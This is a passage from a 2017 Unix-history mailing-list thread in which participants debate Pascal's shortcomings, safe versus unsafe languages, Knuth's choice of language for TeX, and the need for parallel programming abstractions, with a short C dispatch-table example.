On Fri, Sep 1, 2017 at 10:43 AM, Toby Thain <toby at telegraphics.com.au>
wrote:

>
> I'm not sure if the Apple compiler used circa 1983 was *Object* Pascal
>
​It wasn't.


> but it was certainly extended with many intrinsics, casts, and pointer
> operations, bringing it essentially into parity with C for systems and
> application programming.
>
​Which was my point...​ the problem was the every Pascal compiler of the
day was different.  strings where the worst.   If you came from the folks
that believed strings should carry a length, then you defined them that
way, if you believed in a token at the end, you did that.   Moving code was
really, really hard...  So know "Pascal" was not good enough -- you had to
know N different flavors and since there was no preprocessor, writing code
that could be portable between the different flavors was basically not
going to happen.

Go back and read BWK document...   for real programming Pascal sucked in
practice (theory and practice and all that).  I'm saying that and I loved
it (and still do) Pascal as a language.   It's straight forward, safe,
clear, easy to read, *etc*. - but like Brian said, it is not my *favorite*
language.   It is not practical for a great deal of what I do.

To go back to Brian analog, one of my coworkers is a former Air-Force
fighter pilot.   She still to fly small plane like Piper Cubs for fun and
for small short flights.   She loves them.   She also used to love going at
Mach X and dog-fighting and I gather was extremely good at it.  (She was
also the first woman to graduate from the Air Force Academy).   Two
different tools.

The point is that there is nothing wrong with us having multiple tools to
functionally do the same job (programming or flying), nor is there anything
wrong with liking one tools better than another (teaching or professionally)
  ​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/d82adafe/attachment.html>

From clemc at ccc.com  Sat Sep  2 01:15:21 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 1 Sep 2017 11:15:21 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
 <20170901141715.9eZXX%steffen@sdaoden.eu>
 <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>
 <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
Message-ID: <CAC20D2P=TPcbL_PH9GiB_F3uK14ZEb7zkee199oEx8m-5EpWeg@mail.gmail.com>

On Fri, Sep 1, 2017 at 10:48 AM, William Cheswick <ches at cheswick.com> wrote:

> I think we have 30 years’ experience that clearly shows that dangerous
> languages
> will be misused in critical areas, even if most of us are very careful.
>
> Marcus Ranum once wrote a one-page version of inetd that he thought was
> secure.  He was and is as committed to security as anyone, and had long
> experience writing software important to the early Internet.  Steve
> Bellovin found a security hole in that one-page program.
>
> I am convinced that a safe language with very tiny holes allowing access
> to dangerous stuff (like memory management in the kernel) is simply safer.
> Clearly, we are no where near that right now.
>

​+1​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/e55d62f0/attachment.html>

From krewat at kilonet.net  Sat Sep  2 01:47:56 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Fri, 1 Sep 2017 11:47:56 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
 <20170901141715.9eZXX%steffen@sdaoden.eu>
 <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>
 <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
Message-ID: <70852854-a1e7-c6cb-4e12-4ba0e991e40c@kilonet.net>

On 9/1/2017 10:48 AM, William Cheswick wrote:
> early Internet.

I had to chuckle at the above.

This was back in the day when I could telnet into almost any TOPS-20 
system using user account ANONYMOUS and a password of FTP (or something 
similar depending on the system). It wasn't more than a few minutes 
before I found an unprotected file somewhere that could be altered and 
lay in wait for someone to run it. TOPS-10 systems were even easier. VMS 
wasn't a big deal either. Even the UNIX systems at the time were never 
really secure.

I was the ARPANET's and early Internet's worst nightmare. TELENET was an 
even better source of stuff to look at. Thankfully, I was not malicious 
nor profit-driven.

I still posit that C in the hands of the right people is not prone to 
buffer overflows any more than some library issue in C++ or higher 
languages.

Higher languages that put up safeguards are only as good as the 
programmers who write the compiler/interpreter. Because deep down, the 
libraries themselves, or the kernel itself is written in something 
without hand-guards to keep you from cutting your fingers off. It's all 
machine code in the end with, for example, no limits on pointers except 
those that are constructed by more programmers or the memory protections 
built into the processor (i.e. DEP).

In other words, by using a "safe" language you are just putting your 
security in the hands of other people who may or may not be as concerned 
as you are about it.

You can only put a certain amount of bubble-wrap around a razor blade. 
In the end, there's still a razor blade under all those layers.





From crossd at gmail.com  Sat Sep  2 01:57:54 2017
From: crossd at gmail.com (Dan Cross)
Date: Fri, 1 Sep 2017 11:57:54 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <be0a1342-2620-86a8-1f60-ea8c4ba1948e@telegraphics.com.au>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
 <be0a1342-2620-86a8-1f60-ea8c4ba1948e@telegraphics.com.au>
Message-ID: <CAEoi9W4JY8vv2Tf1vMoh5paRxOALn7K0jCZHkO3jue2Uk0PDaw@mail.gmail.com>

On Thu, Aug 31, 2017 at 11:59 PM, Toby Thain <toby at telegraphics.com.au>
wrote:

> On 2017-08-31 10:38 PM, Dan Cross wrote:
> > On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au
> > <mailto:toby at telegraphics.com.au>> wrote:
> > [snip]
> >
> >     > But the problem was that in those days, because Wirth had designed
> it
> >     > for complete small student programs, it was hard to write large
> real
> >     > programs (as Brian points).  So people fixed it and every fixed it
> >     > differently.  Pascal was hardly standardized. ...
> >     >
> >     > And this was the root of the real problem.
> >     >
> >     > You could not write “real” programs in it and really make them run
> on
> >     > actual systems.   Brian was writing that paper, after an exercise
> in
> >
> >     Professor Knuth seemed to manage OK, writing TeX and METAFONT in
> Pascal
> >     (using his literate programming toolset, but that did not extend the
> >     language much).
> >
> > To be fair, I think that Knuth originally wrote both TeX and METAFONT in
> > the SAIL language for the PDP-10. He switched to Pascal (again on the
> > PDP-10) later.
>
> My point was that these are very much "real world" programs in a rather
> vanilla Pascal.
>

Well, naturally. My point is to wonder whether that was in spite of the
language.

(And if you want to bring SAIL into it as another substrate for "real
> world" programs, we might learn something from contrasting it with
> Pascal and C. I don't remember anything about it.)


That would be an interesting exercise, albeit a bit far afield from TUHS,
but perhaps the relevance is that one point Pascal and C were rivals for
marketshare (or so it seemed to me early on). Surely, C and Unix were
influenced by other competing technologies of the time.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/5cf9a6e6/attachment.html>

From toby at telegraphics.com.au  Sat Sep  2 02:08:10 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Fri, 1 Sep 2017 12:08:10 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAEoi9W4JY8vv2Tf1vMoh5paRxOALn7K0jCZHkO3jue2Uk0PDaw@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
 <be0a1342-2620-86a8-1f60-ea8c4ba1948e@telegraphics.com.au>
 <CAEoi9W4JY8vv2Tf1vMoh5paRxOALn7K0jCZHkO3jue2Uk0PDaw@mail.gmail.com>
Message-ID: <f4dbb2e0-6cbe-1450-cd25-a54d2ad0e822@telegraphics.com.au>

On 2017-09-01 11:57 AM, Dan Cross wrote:
> On Thu, Aug 31, 2017 at 11:59 PM, Toby Thain <toby at telegraphics.com.au
> <mailto:toby at telegraphics.com.au>> wrote:
> 
>     On 2017-08-31 10:38 PM, Dan Cross wrote:
>     > On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au <mailto:toby at telegraphics.com.au>
>     > <mailto:toby at telegraphics.com.au <mailto:toby at telegraphics.com.au>>> wrote:
>     > [snip] 
>     >
>     >     > But the problem was that in those days, because Wirth had designed it
>     >     > for complete small student programs, it was hard to write large real
>     >     > programs (as Brian points).  So people fixed it and every fixed it
>     >     > differently.  Pascal was hardly standardized. ...
>     >     >
>     >     > And this was the root of the real problem.
>     >     >
>     >     > You could not write “real” programs in it and really make them run on
>     >     > actual systems.   Brian was writing that paper, after an exercise in
>     >
>     >     Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
>     >     (using his literate programming toolset, but that did not extend the
>     >     language much).
>     >
>     > To be fair, I think that Knuth originally wrote both TeX and METAFONT in
>     > the SAIL language for the PDP-10. He switched to Pascal (again on the
>     > PDP-10) later.
> 
>     My point was that these are very much "real world" programs in a rather
>     vanilla Pascal.
> 
> 
> Well, naturally. My point is to wonder whether that was in spite of the
> language.


I think *everything* we do is "in spite of" the language we're using. :)

We will never reach a point where programming language evolution stops,
imho.

--T


> 
>     (And if you want to bring SAIL into it as another substrate for "real
>     world" programs, we might learn something from contrasting it with
>     Pascal and C. I don't remember anything about it.)
> 
> 
> That would be an interesting exercise, albeit a bit far afield from
> TUHS, but perhaps the relevance is that one point Pascal and C were
> rivals for marketshare (or so it seemed to me early on). Surely, C and
> Unix were influenced by other competing technologies of the time.
> 
>         - Dan C.
> 



From nevin at eviloverlord.com  Sat Sep  2 02:21:02 2017
From: nevin at eviloverlord.com (Nevin Liber)
Date: Fri, 1 Sep 2017 11:21:02 -0500
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
 <20170901141715.9eZXX%steffen@sdaoden.eu>
 <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>
 <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
Message-ID: <CAGg_6+NTRypRA3ueGjWC_oj+5=J1PGPWHL0e1SK6c-uPCHbRgQ@mail.gmail.com>

On Fri, Sep 1, 2017 at 9:48 AM, William Cheswick <ches at cheswick.com> wrote:

> I think we have 30 years’ experience that clearly shows that dangerous
> languages
> will be misused in critical areas, even if most of us are very careful.
>

"Be careful" is a euphemism for "be perfect".


> I am convinced that a safe language with very tiny holes allowing access
> to dangerous stuff (like memory management in the kernel) is simply safer.
> Clearly, we are no where near that right now.
>

While I agree with this, safety is only one of the concerns we have when
developing software.  For instance, we may care about low latency, high
throughput, low memory consumption, low power consumption, etc., and they
are all competing goals.
-- 
 Nevin ":-)" Liber  <mailto:nevin at eviloverlord.com>  +1-847-691-1404
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/479e2be7/attachment.html>

From crossd at gmail.com  Sat Sep  2 02:22:20 2017
From: crossd at gmail.com (Dan Cross)
Date: Fri, 1 Sep 2017 12:22:20 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <ada36aea-dc85-71b1-8a68-5210a003ae27@telegraphics.com.au>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
 <ada36aea-dc85-71b1-8a68-5210a003ae27@telegraphics.com.au>
Message-ID: <CAEoi9W6BZAZT3BZ==P4s6kt_ALW9jsc8A3kvT-gMkooxqaifMA@mail.gmail.com>

On Fri, Sep 1, 2017 at 10:43 AM, Toby Thain <toby at telegraphics.com.au>
wrote:

> On 2017-08-31 10:38 PM, Dan Cross wrote:
> [snip]
> > While most of the
> > languages we use are Turing complete (I suppose that in the limit one
> > can write a Common Lisp implementation in C, for example), it is
> > unarguable that some languages make it *easier* to express some things
> > than other languages. In some cases this is deliberate: consider
> > languages with strong, static type systems versus dynamic but strongly
> > typed languages (or statically but weakly typed). Here the language
> > designers have intentionally made it hard to escape the tyranny of the
> > type system in order to prevent bugs.
>
> (Tyranny is not the word I would use. A more modern viewpoint would
> include topics like parametric polymorphism, typeclasses and so on.)


The specific use of the word "tyranny" was meant to be tongue-in-cheek.
Apologies if it did not come across.

> Anyway, I wonder if Knuth would have produced the same TeX and METAFONT
> > had he started in Pascal; perhaps he would have, but maybe he would have
> > given up on some of the more ambitious parts of both because the
> > language made it much less convenient (not knowing SAIL, I'm
>
> It seems inconceivable to me that there are "ambitious parts" of TeX and
> METAFONT that Professor Knuth had to omit because he was using Pascal.
>

But he wasn't using Pascal. The point was to wonder whether TeX and
METAFONT would be different programs if he were. Clem seemed to imply that
he thought that was unlikely, based on his previous use of SAIL.

[snip]
>
> I have not compared the codebases but wouldn't one expect that the final
> production TeX rewrite is *more* ambitious than the early SAIL version?
> (By the time I began using/porting TeX in the 1980s, the older version
> was completely obsolete.)


I don't know, but that's besides the point: the question was more about how
the initial programming language shaped the design of the program.
Specifically, had Knuth *started* in Pascal instead of SAIL, would TeX have
been different? To put it another way, to what extent was he constrained,
freed, or otherwise influenced by his medium?

> speculating). Perhaps having gone through the exercise of producing TeX
> > in SAIL gave him insight that inspired him to work around Pascal's
> > expressive limitations. Or perhaps the opposite is true.
>
> I honestly don't know what limitations you mean. If you mean "different
> style of expression," sure. (Maybe if SAIL had lexically scoped lambda
> closures, there'd be a difference worth talking about...)


Formally speaking, Pascal is no more limited than any other Turing-complete
language. But there's a difference between *formal* expressiveness and
*informal* expressiveness. Some languages require proportionally more
effort to produce the same program than others. I'm told that sed is
Turing-complete; I'd sure hate to write TeX in it.

The specific "limitations" I'm referring to are mostly covered in the BLTR
#100; things like array length being part of the array object's type; lack
of compile-time initializers, statics, etc.

As an illustrative example, consider the case of a simple dispatch loop
where I want to do some work based on the entry of some string key. In C,
one might write something like this:

typedef struct Cmd Cmd;
struct Cmd {
        const char *cmd;
        int (*thunk)(void);
};

int acmd(void);
int bcmd(void);
// Etc....

Cmd cmds[] = {
    {"a", acmd},
    {"b", bcmd},
    // ...etc...
};

#define nelem(A) (sizeof(A)/sizeof((A)[0]))

int
dispatch(const char *cmd)
{
        for (size_t k = 0; k < nelem(cmds); k++) {
                if (strcmp(cmds[k].cmd, cmd) == 0)
                        return cmds[k].thunk();
        }
        return -1;
}

But how would one write this in Pascal? For a completely unrelated task, I
actually tried to write something like this in Pascal a few weeks ago and
found the lack of compile-time initializers to be an impediment. It struck
me that I could create a record type of some kind or another and
dynamically create a dispatch table via an initialization procedure (say,
building up a linked list or create an array of pointers to functions), but
it struck me that it was possibly more work than just avoiding the
table-driven approach and having a bunch of hard-coded test cases inside of
a loop. Etc.

> Regardless, comparing the work of a Knuth to the industry average is
> > more than a bit unfair. :-)
> >
> >     I suppose Apple's Pascal and Object Pascal -- used for Lisa and
> >     Macintosh applications and systems software -- comes under the "so
> >     people fixed it" category?
> >
> >
> > Object Pascal, Delphi and Free Pascal (which seeks to implement the best
> > of both) seem to have definitely fallen into that category.
>
> I'm not sure if the Apple compiler used circa 1983 was *Object* Pascal
> but it was certainly extended with many intrinsics, casts, and pointer
> operations, bringing it essentially into parity with C for systems and
> application programming.


This confuses me; Apple Pascal and Object Pascal are distinct but related
languages. I specifically referred to Object Pascal, Delphi and Free Pascal
but not Apple Pascal. It strikes me in re-reading what I wrote earlier that
my comments were a bit of a non-sequitur. My bad.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/97391328/attachment.html>

From crossd at gmail.com  Sat Sep  2 02:34:09 2017
From: crossd at gmail.com (Dan Cross)
Date: Fri, 1 Sep 2017 12:34:09 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
 <20170901141715.9eZXX%steffen@sdaoden.eu>
 <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>
 <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
Message-ID: <CAEoi9W4s-OKr2d27Ecd-aQ7=V3xHH2i4M-Q7zCiw9n+jotDgJA@mail.gmail.com>

On Fri, Sep 1, 2017 at 10:48 AM, William Cheswick <ches at cheswick.com> wrote:

> I think we have 30 years’ experience that clearly shows that dangerous
> languages
> will be misused in critical areas, even if most of us are very careful.
>

I think I would amend this to say something along the lines of, "we have
40+ years of experience clearly showing that dangerous languages cannot be
used safely in critical areas without a disproportionate amount of care and
effort, despite the best efforts and skill of our best programmers."

Marcus Ranum once wrote a one-page version of inetd that he thought was
> secure.  He was and is as committed to security as anyone, and had long
> experience writing software important to the early Internet.  Steve
> Bellovin found a security hole in that one-page program.
>
> I am convinced that a safe language with very tiny holes allowing access
> to dangerous stuff (like memory management in the kernel) is simply safer.
> Clearly, we are no where near that right now.
>

Moreover, as Steve said, what we consider "programming" these days is
different than it was even 20 years ago: the programs we write are largely
glue tying together a dizzying array of complicated and powerful libraries.
There was a time that whenever I wanted a linked list in C, well, I'd just
add a 'next' pointer to a struct; if I wanted a tree, I'd add 'left' and
'right' pointers. For the *vast* majority of programmers, those days are
gone but our languages don't really reflect that.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/3f2c0e24/attachment.html>

From scj at yaccman.com  Sat Sep  2 04:15:15 2017
From: scj at yaccman.com (Steve Johnson)
Date: Fri, 01 Sep 2017 11:15:15 -0700
Subject: [TUHS]  Future Languages (was Pascal not Favorite...)
In-Reply-To: <f4dbb2e0-6cbe-1450-cd25-a54d2ad0e822@telegraphics.com.au>
Message-ID: <e2b9a48d33d28cc42717092e6061146617d09620@webmail.yaccman.com>


 "Toby Thain:  We will never reach a point where programming language
evolution stops, imho."

I may just be a grumpy old fart, but I think programming languages
today are holding us back.   Nearly all of them...

I'm currently working for a hardware company (Wave Computing).   We
are building a chip with 16K 8-bit processors on it, and have plans to
build systems with up to 1/4 million processors from these chips.

Nevertheless, most programs today are still written pretty much like
they were 25 years ago.   And they are, for the most part, based on
threads where the programming task is to set out a number of steps: 
do this, do that, do something else, test this and if true do this,
...      A single serial thread.  Things like multicore CPUs are
a desperate attempt to preserve this model while the hardware world
has blown past us.

Recall that parallelism is the natural state of hardware.  It takes
effort to make things work sequentially.  In the old days, when
hardware and software used pretty much the same model, many if not
most of the hardware innovations came from first being done in
software, and then moved into hardware -- index registers, floating
point, caches, etc. etc.    That process has effectively stopped. 
The single thread model simply no longer fits the sweet spot of
today's hardware technology.

Just to underscore how far hardware has advanced:  If cars had become
as much cheaper and faster as computers from 1970 to today, we could
buy 1000 Tesla Model S's for a penny and they would go 0-60,000
mph!   A petabyte of data, if punched onto punch cards, would make a
card deck whose height would be 6 times the distance to the moon.  
If the recent estimate of the number of bytes of data produced by the
human race _every day_ (2.5 quintillion bytes) is correct, when
punched up _that_ card deck would be 9 times the distance to the sun.

I'm not saying that there isn't a place for languages like GO and
Python.  Most people will continue to think serially and design
things that way.  But when it comes to implementing these designs,
the current "systems" languages are left at the starting gate.   In
the same way that we invented abstraction methods like functions and
processes for the old computers, we need to invent newer abstraction
methods that go far beyond co-routines and threads and message
passing.  If we get bogged down in telling tens of thousands of
processors "do this, do that" we will perish long before our program
works.  Of particular relevance is the role that abstractions play in
debugging --they partition the job into pieces with known interfaces
and behavior that can be tested in isolation before being assembled
into complete systems.

Yes, I have some ideas (and not much time to work on them...) but,
even if I had a perfect solution available today, I suspect it would
take decades before it caught on.   In order to accept a solution,
you first have to believe there is a problem...

Steve

----- Original Message -----
From: "Toby Thain" <toby at telegraphics.com.au>

 We will never reach a point where programming language evolution
stops,
 imho.

 --T


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/5cde7436/attachment.html>

From rminnich at gmail.com  Sat Sep  2 04:43:47 2017
From: rminnich at gmail.com (ron minnich)
Date: Fri, 01 Sep 2017 18:43:47 +0000
Subject: [TUHS] Future Languages (was Pascal not Favorite...)
In-Reply-To: <e2b9a48d33d28cc42717092e6061146617d09620@webmail.yaccman.com>
References: <f4dbb2e0-6cbe-1450-cd25-a54d2ad0e822@telegraphics.com.au>
 <e2b9a48d33d28cc42717092e6061146617d09620@webmail.yaccman.com>
Message-ID: <CAP6exYK6EdXeTSn7Hj9Lj-g=oMnbYgwjiLVCXcDQEAhB32rO9Q@mail.gmail.com>

On Fri, Sep 1, 2017 at 11:16 AM Steve Johnson <scj at yaccman.com> wrote:

>
>
> I'm not saying that there isn't a place for languages like GO and Python.
> Most people will continue to think serially and design things that way.
>

What I have found interesting, in the several Go projects I've been on, is
how quickly people walk away from the CSP-like ideas (goroutines and chans)
to all the old school shared memory techniques, mutexs, linked lists, and
such,  based on microbenchmarks.

ron
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/6adb7b41/attachment.html>

From toby at telegraphics.com.au  Sat Sep  2 05:07:54 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Fri, 1 Sep 2017 15:07:54 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAEoi9W6BZAZT3BZ==P4s6kt_ALW9jsc8A3kvT-gMkooxqaifMA@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
 <ada36aea-dc85-71b1-8a68-5210a003ae27@telegraphics.com.au>
 <CAEoi9W6BZAZT3BZ==P4s6kt_ALW9jsc8A3kvT-gMkooxqaifMA@mail.gmail.com>
Message-ID: <2ffecf6c-eda0-60e7-17c7-ca4711e1158e@telegraphics.com.au>

On 2017-09-01 12:22 PM, Dan Cross wrote:
> On Fri, Sep 1, 2017 at 10:43 AM, Toby Thain <toby at telegraphics.com.au
> <mailto:toby at telegraphics.com.au>> wrote:
> 
>     On 2017-08-31 10:38 PM, Dan Cross wrote:
>     [snip]
>     > While most of the
>     > languages we use are Turing complete (I suppose that in the limit one
>     > can write a Common Lisp implementation in C, for example), it is
>     > unarguable that some languages make it *easier* to express some things
>     > than other languages. In some cases this is deliberate: consider
>     > languages with strong, static type systems versus dynamic but strongly
>     > typed languages (or statically but weakly typed). Here the language
>     > designers have intentionally made it hard to escape the tyranny of the
>     > type system in order to prevent bugs.
> 
>     (Tyranny is not the word I would use. A more modern viewpoint would
>     include topics like parametric polymorphism, typeclasses and so on.)
> 
> 
> The specific use of the word "tyranny" was meant to be tongue-in-cheek.
> Apologies if it did not come across.
> 
>     > Anyway, I wonder if Knuth would have produced the same TeX and METAFONT
>     > had he started in Pascal; perhaps he would have, but maybe he would have
>     > given up on some of the more ambitious parts of both because the
>     > language made it much less convenient (not knowing SAIL, I'm
> 
>     It seems inconceivable to me that there are "ambitious parts" of TeX and
>     METAFONT that Professor Knuth had to omit because he was using Pascal.
> 
> 
> But he wasn't using Pascal. The point was to wonder whether TeX and

I mean in the mid-80s rewrite, of course.

> METAFONT would be different programs if he were. Clem seemed to imply
> that he thought that was unlikely, based on his previous use of SAIL.
> 
>     [snip]
> 
>     I have not compared the codebases but wouldn't one expect that the final
>     production TeX rewrite is *more* ambitious than the early SAIL version?
>     (By the time I began using/porting TeX in the 1980s, the older version
>     was completely obsolete.)
> 
> 
> I don't know, but that's besides the point: the question was more about
> how the initial programming language shaped the design of the program.
> Specifically, had Knuth *started* in Pascal instead of SAIL, would TeX
> have been different? To put it another way, to what extent was he
> constrained, freed, or otherwise influenced by his medium?

Maybe Professor Knuth himself has written about that, I'm not sure. A
great question for him, anyhow.

He's in an excellent position to contrast these 3 languages.

> 
>     > speculating). Perhaps having gone through the exercise of producing TeX
>     > in SAIL gave him insight that inspired him to work around Pascal's
>     > expressive limitations. Or perhaps the opposite is true.
> 
>     I honestly don't know what limitations you mean. If you mean "different
>     style of expression," sure. (Maybe if SAIL had lexically scoped lambda
>     closures, there'd be a difference worth talking about...)
> 
> 
> Formally speaking, Pascal is no more limited than any other
> Turing-complete language. But there's a difference between *formal*
> expressiveness and *informal* expressiveness. Some languages require
> proportionally more effort to produce the same program than others. I'm
> told that sed is Turing-complete; I'd sure hate to write TeX in it.
> 

I'm well aware of that, which is why I specifically mentioned lexical
